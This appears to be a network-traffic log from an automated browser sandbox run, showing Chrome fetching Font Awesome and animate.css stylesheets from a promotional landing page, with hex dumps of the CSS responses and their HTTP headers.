2024-10-03 16:19:49 UTC	747	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:49 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60154 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w%2B9cuguCFdDabxJU%2FL3sjdKQr4uZKj93EDX2kN5BQ5kpbHQYogivdgNqNbeKqeKa6NHxcYhA6J4gOU%2Fks004vFNsFlU7GeuR%2F2bUaLZ01LKcugBizMEy2fM%2BeLhdCsbvNLtMr%2B714t%2BOjxdh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4188cf3b0f37-EWR
2024-10-03 16:19:49 UTC	622	IN	Data Raw: 37 63 62 34 0d 0a 2f 2a 21 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 30 2e 37 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 2a 2f 2e 66 61 2c 2e 66 61 62 2c 2e 66 61 6c 2c 2e 66 61 72 2c 2e 66 61 73 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f Data Ascii: 7cb4/! Font Awesome Free 5.0.7 by @fontawesome - https://fontawesome.com* License - https://fontawesome.com/license (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)*/.fa,.fab,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoo
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 7a 65 3a 37 65 6d 7d 2e 66 61 2d 38 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 65 6d 7d 2e 66 61 2d 39 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 39 65 6d 7d 2e 66 61 2d 31 30 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 65 6d 7d 2e 66 61 2d 66 77 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 2e 32 35 65 6d 7d 2e 66 61 2d 75 6c 7b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 2e 35 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 7d 2e 66 61 2d 75 6c 3e 6c 69 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 66 61 2d 6c 69 7b 6c 65 66 74 3a 2d 32 65 6d 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 69 64 Data Ascii: ze:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;wid
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 72 3a 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 33 29 22 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 32 37 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 32 37 30 64 65 67 29 7d 2e 66 61 2d 66 6c 69 70 2d 68 6f 72 69 7a 6f 6e 74 61 6c 7b 2d 6d 73 2d 66 69 6c 74 65 72 3a 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 30 2c 20 6d 69 72 72 6f 72 3d 31 29 22 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 74 72 61 6e 73 66 6f Data Ascii: r:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scaleX(-1);transfo
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 74 65 6e 74 3a 22 5c 66 30 33 37 22 7d 2e 66 61 2d 61 6c 69 67 6e 2d 6a 75 73 74 69 66 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 39 22 7d 2e 66 61 2d 61 6c 69 67 6e 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 36 22 7d 2e 66 61 2d 61 6c 69 67 6e 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 38 22 7d 2e 66 61 2d 61 6d 61 7a 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 30 22 7d 2e 66 61 2d 61 6d 61 7a 6f 6e 2d 70 61 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 32 63 22 7d 2e 66 61 2d 61 6d 62 75 6c 61 6e 63 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 66 39 22 7d 2e 66 61 2d 61 6d 65 72 69 63 61 6e 2d 73 69 Data Ascii: tent:"\f037"}.fa-align-justify:before{content:"\f039"}.fa-align-left:before{content:"\f036"}.fa-align-right:before{content:"\f038"}.fa-amazon:before{content:"\f270"}.fa-amazon-pay:before{content:"\f42c"}.fa-ambulance:before{content:"\f0f9"}.fa-american-si
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 39 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 61 61 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 33 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 30 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 31 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 36 32 22 7d 2e 66 61 2d 61 72 72 6f 77 73 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 Data Ascii: ght:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-down:before{content:"\f063"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrows-alt:before{content:"\f0
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 34 22 7d 2e 66 61 2d 62 65 68 61 6e 63 65 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 35 22 7d 2e 66 61 2d 62 65 6c 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 66 33 22 7d 2e 66 61 2d 62 65 6c 6c 2d 73 6c 61 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 66 36 22 7d 2e 66 61 2d 62 69 63 79 63 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 30 36 22 7d 2e 66 61 2d 62 69 6d 6f 62 6a 65 63 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 38 22 7d 2e 66 61 2d 62 69 6e 6f 63 75 6c 61 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 65 35 22 7d 2e 66 61 2d 62 69 72 74 68 Data Ascii: :before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-bell:before{content:"\f0f3"}.fa-bell-slash:before{content:"\f1f6"}.fa-bicycle:before{content:"\f206"}.fa-bimobject:before{content:"\f378"}.fa-binoculars:before{content:"\f1e5"}.fa-birth
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 33 22 7d 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 63 68 65 63 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 34 22 7d 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 6d 69 6e 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 32 22 7d 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 70 6c 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 31 22 7d 2e 66 61 2d 63 61 6c 65 6e 64 61 72 2d 74 69 6d 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 33 22 7d 2e 66 61 2d 63 61 6d 65 72 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 30 22 7d 2e 66 61 2d 63 61 6d 65 72 61 2d 72 65 74 72 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 33 22 Data Ascii: ontent:"\f073"}.fa-calendar-check:before{content:"\f274"}.fa-calendar-minus:before{content:"\f272"}.fa-calendar-plus:before{content:"\f271"}.fa-calendar-times:before{content:"\f273"}.fa-camera:before{content:"\f030"}.fa-camera-retro:before{content:"\f083"
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 3a 22 5c 66 30 35 38 22 7d 2e 66 61 2d 63 68 65 63 6b 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 34 61 22 7d 2e 66 61 2d 63 68 65 73 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 33 39 22 7d 2e 66 61 2d 63 68 65 73 73 2d 62 69 73 68 6f 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 33 61 22 7d 2e 66 61 2d 63 68 65 73 73 2d 62 6f 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 33 63 22 7d 2e 66 61 2d 63 68 65 73 73 2d 6b 69 6e 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 33 66 22 7d 2e 66 61 2d 63 68 65 73 73 2d 6b 6e 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 34 31 22 7d 2e 66 61 2d 63 68 65 73 73 2d 70 61 77 6e 3a 62 Data Ascii: :"\f058"}.fa-check-square:before{content:"\f14a"}.fa-chess:before{content:"\f439"}.fa-chess-bishop:before{content:"\f43a"}.fa-chess-board:before{content:"\f43c"}.fa-chess-king:before{content:"\f43f"}.fa-chess-knight:before{content:"\f441"}.fa-chess-pawn:b
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3a 22 5c 66 31 32 36 22 7d 2e 66 61 2d 63 6f 64 65 70 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 63 62 22 7d 2e 66 61 2d 63 6f 64 69 65 70 69 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 38 34 22 7d 2e 66 61 2d 63 6f 66 66 65 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 66 34 22 7d 2e 66 61 2d 63 6f 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 31 33 22 7d 2e 66 61 2d 63 6f 67 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 35 22 7d 2e 66 61 2d 63 6f 6c 75 6d 6e 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 64 62 22 7d 2e 66 61 2d 63 6f 6d 6d 65 6e 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 35 22 7d 2e 66 Data Ascii: ontent:"\f126"}.fa-codepen:before{content:"\f1cb"}.fa-codiepie:before{content:"\f284"}.fa-coffee:before{content:"\f0f4"}.fa-cog:before{content:"\f013"}.fa-cogs:before{content:"\f085"}.fa-columns:before{content:"\f0db"}.fa-comment:before{content:"\f075"}.f
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 63 6f 75 72 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 39 33 22 7d 2e 66 61 2d 64 6e 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 37 31 22 7d 2e 66 61 2d 64 6f 63 68 75 62 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 39 34 22 7d 2e 66 61 2d 64 6f 63 6b 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 39 35 22 7d 2e 66 61 2d 64 6f 6c 6c 61 72 2d 73 69 67 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 35 35 22 7d 2e 66 61 2d 64 6f 6c 6c 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 37 32 22 7d 2e 66 61 2d 64 6f 6c 6c 79 2d 66 6c 61 74 62 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 37 34 22 7d 2e 66 61 2d 64 6f 74 2d 63 69 72 63 6c Data Ascii: course:before{content:"\f393"}.fa-dna:before{content:"\f471"}.fa-dochub:before{content:"\f394"}.fa-docker:before{content:"\f395"}.fa-dollar-sign:before{content:"\f155"}.fa-dolly:before{content:"\f472"}.fa-dolly-flatbed:before{content:"\f474"}.fa-dot-circl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49820	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	784	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/animate.css HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:49 UTC	743	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:49 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60154 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Evhq8i%2BbQ1dMDRYabMLM8SEWau8adD8sPg5oSaTx3I%2BEAFZh0RwhheNCjE7F83iSG1P7fMdGUMHPnlrExQlZOyx5SsHrePEeTA9MSKFqQFDEYqKoXHLoCl%2FLrJ6jYef%2BPcewj1fr7t%2F7SpLB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4188ef9c439a-EWR
2024-10-03 16:19:49 UTC	626	IN	Data Raw: 37 63 62 38 0d 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 2a 20 61 6e 69 6d 61 74 65 2e 63 73 73 20 2d 68 74 74 70 3a 2f 2f 64 61 6e 65 64 65 6e 2e 6d 65 2f 61 6e 69 6d 61 74 65 0a 2a 20 56 65 72 73 69 6f 6e 20 2d 20 33 2e 37 2e 30 0a 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 38 20 44 61 6e 69 65 6c 20 45 64 65 6e 2a 2f 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 7b 66 72 6f 6d 2c 32 30 25 2c 35 33 25 2c 38 30 25 2c 74 6f 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d Data Ascii: 7cb8@charset "UTF-8";/! animate.css -http://daneden.me/animate* Version - 3.7.0* Licensed under the MIT license - http://opensource.org/licenses/MIT** Copyright (c) 2018 Daniel Eden*/@-webkit-keyframes bounce{from,20%,53%,80%,to{-webkit-animation-
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 30 29 7d 37 30 25 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 37 35 35 2c 2e 30 35 2c 2e 38 35 35 2c 2e 30 36 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 37 35 35 2c 2e 30 35 2c 2e 38 35 35 2c 2e 30 36 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 31 35 70 78 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 31 35 70 78 2c 30 29 7d 39 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 34 70 78 2c 30 29 3b 74 72 61 6e 73 66 Data Ascii: 0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transf
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 7d 35 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2e 30 35 2c 31 2e 30 35 2c 31 2e 30 35 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2e 30 35 2c 31 2e 30 35 2c 31 2e 30 35 29 7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 75 6c 73 65 7b 66 72 6f 6d 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 7d 35 30 25 7b 2d 77 65 62 6b 69 74 2d Data Ascii: sform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes pulse{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2e 30 35 2c 2e 39 35 2c 31 29 7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 7d 7d 2e 72 75 62 62 65 72 42 61 6e 64 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 72 75 62 62 65 72 42 61 6e 64 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 72 75 62 62 65 72 42 61 6e 64 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 73 68 61 6b 65 7b 66 72 6f 6d 2c 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 Data Ascii: 1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}@-webkit-keyframes shake{from,to{-webkit-transform:translate3d(0,0,0);transform:translat
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 7d 36 2e 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 36 70 78 29 20 72 6f 74 61 74 65 59 28 2d 39 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 36 70 78 29 20 72 6f 74 61 74 65 59 28 2d 39 64 65 67 29 7d 31 38 2e 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 20 72 6f 74 61 74 65 59 28 37 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 20 72 6f 74 61 74 65 59 28 37 64 65 67 29 7d 33 31 2e 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 33 70 78 29 20 Data Ascii: ransform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(-9deg);transform:translateX(-6px) rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px) rotateY(7deg);transform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px)
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 74 65 33 64 28 30 2c 30 2c 31 2c 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 30 64 65 67 29 7d 7d 2e 73 77 69 6e 67 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 20 63 65 6e 74 65 72 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 20 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 73 77 69 6e 67 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 73 77 69 6e 67 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 74 61 64 61 7b 66 72 6f 6d 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 Data Ascii: te3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}.swing{-webkit-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;animation-name:swing}@-webkit-keyframes tada{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 32 35 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 2d 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 32 35 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 2d 35 64 65 67 29 7d 33 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 32 30 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 33 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 32 30 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 33 64 65 67 29 7d 34 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 35 Data Ascii: orm:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15
